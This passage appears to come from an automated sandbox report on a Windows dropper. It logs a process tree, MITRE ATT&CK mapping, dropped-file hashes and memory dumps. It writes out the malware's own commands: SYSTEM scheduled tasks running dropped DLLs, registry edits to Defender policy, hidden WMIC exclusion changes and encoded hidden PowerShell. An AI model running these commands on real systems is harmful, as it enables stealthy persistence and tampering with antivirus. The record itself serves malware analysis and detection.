schtasks /CREATE /TN "gEBhiSRTX" /SC once /ST 00:07:50 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1088

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gEBhiSRTX"
3⤵
PID:868

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gEBhiSRTX"
3⤵
PID:3040

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
3⤵
PID:280

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
4⤵
PID:2676

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
3⤵
PID:3044

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
4⤵
PID:1004

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MhsnVFKWmmyXGZkTD" /SC once /ST 03:07:29 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\pyChMtj.exe\" DG /brAXdidRv 525403 /S" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1188

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MhsnVFKWmmyXGZkTD"
3⤵
PID:1852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 328
3⤵
- Loads dropped DLL
- Program crash
PID:2868

C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\pyChMtj.exe
C:\Windows\Temp\WZpWNMsDzSAcKsSA\JdHzeCSmzFzWXve\pyChMtj.exe DG /brAXdidRv 525403 /S
2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2860

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bUVDAOPnPkUhchiViu"
3⤵
PID:2876

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
3⤵
PID:2140

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
4⤵
PID:1592

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
PID:1572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
4⤵
PID:2016

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
5⤵
PID:2136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\bBBSFQQZU\sOsTEo.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "LVynAQLCTpGcVPg" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:904

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LVynAQLCTpGcVPg2" /F /xml "C:\Program Files (x86)\bBBSFQQZU\tNeCuaf.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:912

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "LVynAQLCTpGcVPg"
3⤵
PID:2532

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LVynAQLCTpGcVPg"
3⤵
PID:2524

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KatXkYONgJxXkD" /F /xml "C:\Program Files (x86)\rUfZlqUIdWiU2\nhOLsiW.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2836

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PuJMQwokvjmjr2" /F /xml "C:\ProgramData\fHdtCMTPryqSDgVB\jKLfQGL.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2028

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jmhuFmncXBbhpBxSq2" /F /xml "C:\Program Files (x86)\rPikKiIbwrQGukIChiR\ZBRqrHq.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2716

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "OztlfTauKwYVOQQXHnj2" /F /xml "C:\Program Files (x86)\NNMAoTKMcAkAC\mHHSZFU.xml" /RU "SYSTEM"
3⤵
- Scheduled Task/Job: Scheduled Task
PID:2868

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MRaTohzfdszDuijXP" /SC once /ST 03:30:36 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WZpWNMsDzSAcKsSA\RAoCJVKA\GswTFey.dll\",#1 /Cdido 525403" /V1 /F
3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1304

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "MRaTohzfdszDuijXP"
3⤵
PID:2428

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MhsnVFKWmmyXGZkTD"
3⤵
PID:2432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 1556
3⤵
- Loads dropped DLL
- Program crash
PID:1540

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\RAoCJVKA\GswTFey.dll",#1 /Cdido 525403
2⤵
PID:2876

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WZpWNMsDzSAcKsSA\RAoCJVKA\GswTFey.dll",#1 /Cdido 525403
3⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2192

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "MRaTohzfdszDuijXP"
4⤵
PID:1648

C:\Windows\system32\taskeng.exe
taskeng.exe {BAAF13B2-E394-44B7-B91E-A88007F3A30E} S-1-5-21-481678230-3773327859-3495911762-1000:UIBNQNMA\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:2700

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1136

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2060

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2236

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

PowerShell

Scheduled Task/Job

Scheduled Task

Persistence

Create or Modify System Process

Windows Service

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Create or Modify System Process

Windows Service

Scheduled Task/Job

Scheduled Task

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\NNMAoTKMcAkAC\mHHSZFU.xml
Filesize
2KB

MD5
234dce548384864bd7f43151705a29c7

SHA1
2112f2184a297166b1f935d5d94d87b854a5b433

SHA256
757fa8f728a4b1907950380eda1f759c3b1aeda612dfcde9efd2e1bfaf028a68

SHA512
961caf59854293df69f3c50a880001d7a0da2460495ce820dab2c5c0539bb4373b9e403ca465c6152d8eee64f5ad30d610940bc3752fc3b00d615922d8fe0ee2

Download Submit
C:\Program Files (x86)\bBBSFQQZU\tNeCuaf.xml
Filesize
2KB

MD5
9b721c52ad47fd852bdd27e98f35f44e

SHA1
8b90f4ef51b891a7956be458b474cafd63c53a84

SHA256
2c38459e5a9cee83a3190bb2eb2b617a77b16bd1d72262b8fdd8dba481df6ac6

SHA512
9612f1b2d3c343d69e0629e091368e14ee7bae85ec54ffc0fa739fb439570115908113b0af6b3514c462bfc02a4c3644db36570498bed5be84c42bf634f9ef53

Download Submit
C:\Program Files (x86)\rPikKiIbwrQGukIChiR\ZBRqrHq.xml
Filesize
2KB

MD5
91d65eb0141b4a739b6b99c1030c8878

SHA1
859f74f1bc290aef52e0c0b7b9ec7b12438d7769

SHA256
60815aa912f989fdee0b68462792bb7708a314e9871750e72099034fe1f5f5c6

SHA512
7c2fc04314035e01e64bb40403a4fc70b3fde43704e32c328d4d46da389a418345ca1ed18e14834ba0f112e15a0f9a4068cb1d1fe7f646d029a4596a14cbd970

Download Submit
C:\Program Files (x86)\rUfZlqUIdWiU2\nhOLsiW.xml
Filesize
2KB

MD5
b6eb90164500de2ed33cd3bff6d90716

SHA1
811e43beb9bb04f7f30e2d3058f509e0fb027d32

SHA256
0c27dc8315529d37d8895fce8efcd9fb0efa2c71b47d654633ce638f089ffc9c

SHA512
5430c249f5f207b01e44854b47727b06ef6a74275ac28e786d46604b264ff39a19ba736cecb9b9655dafd38fdd64738a876969d5b950aec93dd516f128588942

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
Filesize
2.0MB

MD5
1cea7dfe1bfaaebc5b6ac123036c1893

SHA1
54aae0951f23eba9df4d25f6d5d8aff6e47a68cb

SHA256
50a4fc4a73700e46223b5ce324801cbaa0e57e626d1f2f4ea7856f124b11cbda

SHA512
0b9bfa89b6a9d783c42fc517a06030b8861533f9a6037e53a558036c8e6817ac02f6f30613747ea282eb0616723ed5a43f0c5591af99d1edec62cc531c69e755

Download Submit
C:\ProgramData\fHdtCMTPryqSDgVB\jKLfQGL.xml
Filesize
2KB

MD5
9ed8406e38c0a9e296da16af6f36118d

SHA1
0f92f57d58d74b03a79862e098e5543b73d098a5

SHA256
0723c6705ba2a454912c55eaefdb23cacb188f2ff7c166f84d057f0d3cb2727a

SHA512
55dd1764b6e4b29ab30a47d9b89ac29d5a17c4a3e344fe970f755d0429dd7e14de722a475462039e8ba43eb2fc6284d41f5d2ba7431a88b80e974d79f920b6e1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
c426b2502892d4e340b21449bec5e90a

SHA1
4a00c8cced82927ecd5f68d79a69331a388560e0

SHA256
90c1f0f519a5b097cb96608d25f54278e7ef39029a63c97c86ac02aabe1a26c9

SHA512
efd1132e1085f7a4a317eb27091f1836a797ebbaa55b51019c294a77bb2bf8ee49ecdab74e9d75cf6094699d9cc658e0fc1880ba6d461052e98391da6aa0b3c5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
6ef179b335880f3111125dac66058497

SHA1
705e913bbe34e199aa6520bbbb467c3ee65c75fa

SHA256
57cbcaa9f37a0379397a5d4b44dc02877bd84aee7dfa86ee5604b796a05a7880

SHA512
43fb6ddfb94811b1f2ae093b7ab3c315f0d7c29aa17c6f54ef0b10ea5b2c1209ad17eb2dc50c6cc3617e95a76d488aaec4bdc62ffe65e9e3008d8c8948014383

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WNKLECLQS957JQ7QC9PQ.temp
Filesize
7KB

MD5
2a6d9c42f4184cba87426df73f9477a1

SHA1
7b9388212aa59bd9ba60455dcd18544f7e92eb1f

SHA256
01d5e975ef3818bff5d7366e59e60a6e0b7c904091690ecd9b5ca2e8b5cbc7e1

SHA512
015f70b0578310033b20ec20d17f1376700853697c01fe06f6c75dc234b943ae4e0aa5f6d6e5f995ca2f90e9f1c7c38a8bf4ef8e41f0f8cc3e19c50322abf6ad

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ty9peokp.default-release\prefs.js
Filesize
7KB

MD5
346531dada79c55e04183850053ee16e

SHA1
b4c2158b1729743cdf6bf8440abef6d9c3e63b6e

SHA256
3d4418ea4813a2747c970ad8ba118cf97bbf4ef5e05654a6fd07641fd0e837d4

SHA512
0780db8b562b74a292e85dede83f51eeadbe83d0e02923b40231188a2eb0038af1ac9a3b71476c2cfad2327a7ab561595abfbb4d926abf4cfd44956f95b424fa

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\QwckKSdo\QbDpVplGXUoBWCma.wsf
Filesize
9KB

MD5
b4eafe6027777d757f5db7c5ba16ccb1

SHA1
ad7dc2bfa0f5f8ecc489b97ae4f183692cb7f066

SHA256
c66e77b341a1159910e0fc19bf515e7acf9981ba357d782434d6875ce5b55890

SHA512
26c178b1b0aa919e768a01551c7113830c39ee8d0f937996ff9c161ede3c91f86c7394c0bceb939813a604271d5e143d690af36c4c48d3a4a065c55caf9cedd3

Download Submit
C:\Windows\Temp\WZpWNMsDzSAcKsSA\RAoCJVKA\GswTFey.dll
Filesize
6.5MB

MD5
2c5315f48e9b097d2c447e016743854f

SHA1
84006269f2b54df8bef71d46364bd82946b24759

SHA256
233a6dfcb0ea347aed469bac784313ce0fb0dbc2ce84b5f3b3561d4741b03dc2

SHA512
efd65e08582051bf7ef3795f7d0718aab625ea1500eaae19b0a665807b697e81a0e1dd580885765f364ab3e763ed913a19cbbe27327bc45ce0c1a0aeb65ce4ec

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
5KB

MD5
3d52426af4887c43abd62ceb79d16e53

SHA1
3a4ca1704f691c6ad644b15aca9451e2a5556aee

SHA256
1f3929e095ff6be934e2ea77c3e52f4dd2c6c0578753b90a03b2190dacc0b5b9

SHA512
2059e2e6d5e964055a53817f3aaa491113cd467c593b9c3403e0de9f5a0359cfb2b18613e570fe792d2df5af74cfa9f16b7a2336cd8e148a35bd87e14322fd44

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\7zS17F4.tmp\Install.exe
Filesize
6.4MB

MD5
fa6c8a4dcc2b50d9ecce866e6bf6bf82

SHA1
04f4665baccd0ada23349e69b93a1ebad7571a80

SHA256
13fec9b387fb25d13e8247a2efc8c45b044726d1aa24b692aac2a925b972fdff

SHA512
7d452b09893f8c2cb88fa22b89c55fb07b85ef65dc22bed96be74443c2f32df1dc502a789d7f11a118c49f7044a5b273e5bd4a2d3e8d1ccd6623b6a3c43dd2e8

Download Submit
\Users\Admin\AppData\Local\Temp\7zS19A8.tmp\Install.exe
Filesize
6.6MB

MD5
c459c807bebcbb6553ff3388b249a9fd

SHA1
6e428b6c77c966e33c5c0e321d722b57bd3bf975

SHA256
9c3372c448ccebbe7b771c24c207a0ae0e145a25d0e96f5ffb0559ff5571154b

SHA512
7641130d16107aa5bdf16f39a6f9e6404230376bae4a9489b0b9462218075c4a0cea35cff3b434c6a352f05f49aca4a3f71839acf16cbe278ac49235ca6291cf

Download Submit
memory/1928-61-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/1928-62-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2192-355-0x0000000001660000-0x000000000522B000-memory.dmp

Filesize
59.8MB

Download
memory/2660-24-0x0000000001230000-0x00000000018D5000-memory.dmp

Filesize
6.6MB

Download
memory/2660-27-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/2660-26-0x0000000001230000-0x00000000018D5000-memory.dmp

Filesize
6.6MB

Download
memory/2660-25-0x0000000001230000-0x00000000018D5000-memory.dmp

Filesize
6.6MB

Download
memory/2660-36-0x00000000000E0000-0x0000000000785000-memory.dmp

Filesize
6.6MB

Download
memory/2660-23-0x00000000000E0000-0x0000000000785000-memory.dmp

Filesize
6.6MB

Download
memory/2660-37-0x0000000001230000-0x00000000018D5000-memory.dmp

Filesize
6.6MB

Download
memory/2832-35-0x00000000023F0000-0x0000000002A95000-memory.dmp

Filesize
6.6MB

Download
memory/2832-22-0x00000000023F0000-0x0000000002A95000-memory.dmp

Filesize
6.6MB

Download
memory/2860-82-0x0000000000CA0000-0x0000000001345000-memory.dmp

Filesize
6.6MB

Download
memory/2860-130-0x0000000001A90000-0x0000000001AF0000-memory.dmp

Filesize
384KB

Download
memory/2860-97-0x0000000001920000-0x00000000019A5000-memory.dmp

Filesize
532KB

Download
memory/2860-84-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/2860-312-0x0000000002BA0000-0x0000000002C28000-memory.dmp

Filesize
544KB

Download
memory/2860-322-0x0000000003A80000-0x0000000003B52000-memory.dmp

Filesize
840KB

Download
memory/2860-354-0x0000000000CA0000-0x0000000001345000-memory.dmp

Filesize
6.6MB

Download
memory/2912-83-0x0000000000950000-0x0000000000FF5000-memory.dmp

Filesize
6.6MB

Download
memory/2912-63-0x0000000000950000-0x0000000000FF5000-memory.dmp

Filesize
6.6MB

Download
memory/2912-41-0x0000000010000000-0x0000000013BCB000-memory.dmp

Filesize
59.8MB

Download
memory/2912-40-0x0000000000950000-0x0000000000FF5000-memory.dmp

Filesize
6.6MB

Download
memory/3008-51-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/3008-52-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download